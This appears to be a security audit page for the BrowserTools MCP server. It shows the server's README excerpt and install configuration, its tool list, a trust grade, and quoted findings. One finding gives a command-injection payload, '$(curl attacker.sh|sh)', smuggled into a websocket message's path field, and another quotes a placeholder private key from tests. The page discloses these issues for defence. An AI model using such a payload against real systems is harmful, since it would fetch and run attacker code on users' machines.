BrowserTools MCPCAUTION
Monitor browser logs directly from Cursor and other MCP compatible IDEs.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
Give your AI coding agent eyes on the browser. BrowserTools MCP streams console output, network activity, screenshots and Lighthouse audits from your real Chrome session — the one already logged into your app — to any MCP-compatible client: Cursor, Claude Code, Windsurf, Cline, Zed, Gemini CLI, and others.
Version 2.0 is a rewrite. One process instead of three, no unauthenticated local server, credentials scrubbed before they leave the browser, and a real test suite. If you are coming from 1.x, read MIGRATION.md — and upgrade, because 1.2.x has a critical vulnerability. See SECURITY.md.
Why this instead of a CDP-based server
Tools like Chrome DevTools MCP and Playwright MCP drive a fresh, automated browser. That is the right choice for writing tests. It is the wrong choice for debugging the app you are actually looking at, because since Chrome 136 the browser refuses remote debugging on your default profile — the one holding your logins. So you end up recreating your auth state in a throwaway profile before you can debug anything.
BrowserTools attaches to the session you are already in, through a DevTools extension. You stay logged in, on the page you were already on, and your agent reads what you see. It also reports Lighthouse-grade performance, accessibility and SEO data, which the automation-first servers do not.
Install
Two pieces: an MCP server (one command) and a Chrome extension.
1. Point your MCP client at the server
{
"mcpServers": {
"browser-tools": {
"command": "npx",
"args": ["-y", "@agentdeskai/browser-tools-mcp@latest"]
}
}
}On Windows, if your client cannot find npx, use "command": "cmd" with "args": ["/c", "npx", "-y", "@agentdeskai/browser-tools-mcp@latest"].
Requires Node 22.19 or newer. Check with node --version; if you use nvm or asdf, make sure your editor inherits the same version.
2. Load th
93af3c56207bOBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add browser-tools-mcp -- npx -y @agentdeskai/[email protected]
Exposed tools (15)
15 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
auditMode | read | A workflow for running and interpreting accessibility, performance, SEO and best-practices audits. |
debuggerMode | read | A systematic workflow for diagnosing a problem on the live page using console and network telemetry. |
getBrowserStorage | read | |
getConnectionStatus | read | |
getConsoleErrors | read | |
getConsoleLogs | read | |
getNetworkErrors | read | |
getNetworkLogs | read | |
getPageInfo | read | |
getSelectedElement | read | |
listBrowserTabs | read | |
nextjsSeoAudit | read | SEO review tailored to Next.js applications, combining a live SEO audit with framework-specific causes. |
refreshBrowser | read | |
takeScreenshot | read | |
wipeLogs | read |
Trust audit
CAUTIONgrade B · trust 84/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (2 observation(s))
- Network
- declared (8 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- found
Findings (19)
`BrowserTools connector listening on http://127.0.0.1:${connector.port}\n` +if (existing && (await probe(`http://127.0.0.1:${existing.port}`))) {baseUrl: `http://127.0.0.1:${existing.port}`,"-----BEGIN RSA PRIVATE KEY-----\nMIIEow==\n-----END RSA PRIVATE KEY-----"
const extract = new Function(
const extract = new Function(
import { runLighthouseAudit, AuditError, assertAuditableUrl } from "../../src/lighthouse/runner";import { createConnector, type Connector } from "../../src/connector/connector";import { InProcessConnectorClient } from "../../src/mcp/client";import { createMcpServer } from "../../src/mcp/server";fileURLToPath(new URL("../../../chrome-extension", import.meta.url))url: `http://127.0.0.1:${port}/`,baseUrl: `http://127.0.0.1:${connector.port}`,"/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/wAALCAABAAEBAREA/8QAFAABAAAAAAAAAAAAAAAAAAAACf/EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gA
return atob(aligned.replace(/-/g, "+").replace(/_/g, "/"));
@modelcontextprotocol/sdk, chrome-launcher, express, lighthouse, ws, zod, @types/express, @types/node
@agentdeskai/browser-tools-mcp
@types/node, @types/supertest, @types/ws, playwright, supertest, vitest
Any web page the user visits, or anyone on the same Wi-Fi, can open `ws://127.0.0.1:3025/extension-ws`, send `{type:"screenshot-data", path:"/tmp/x'$(curl attacker.sh|sh)'", autoPaste:true}` and get sGates applied: no_behavioural_pass.
93af3c56207bfull audit observations/trust-audit/mcp-server/agentdeskai__browser-tools-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | 93af3c56207b | CAUTION | B | 84 | first audit |
Questions
What is the @agentdeskai/browser-tools-mcp MCP server?
Monitor browser logs directly from Cursor and other MCP compatible IDEs.
What tools does @agentdeskai/browser-tools-mcp expose?
15 in total: 15 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is @agentdeskai/browser-tools-mcp safe to connect to an agent?
With care. The audit graded it B (84/100) and found 19 things worth knowing before you trust this server, listed below with the exact line each was found on.
What credentials does @agentdeskai/browser-tools-mcp need?
No credential environment variables were found in its source, so it appears to need none.
How does @agentdeskai/browser-tools-mcp run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as browser-tools-mcp-workspace at 2.0.2.
How current is this page?
The grade is for one exact copy of the source (93af3c56207b), read on 2026-10-12. The repository is watched and re-audited when it changes.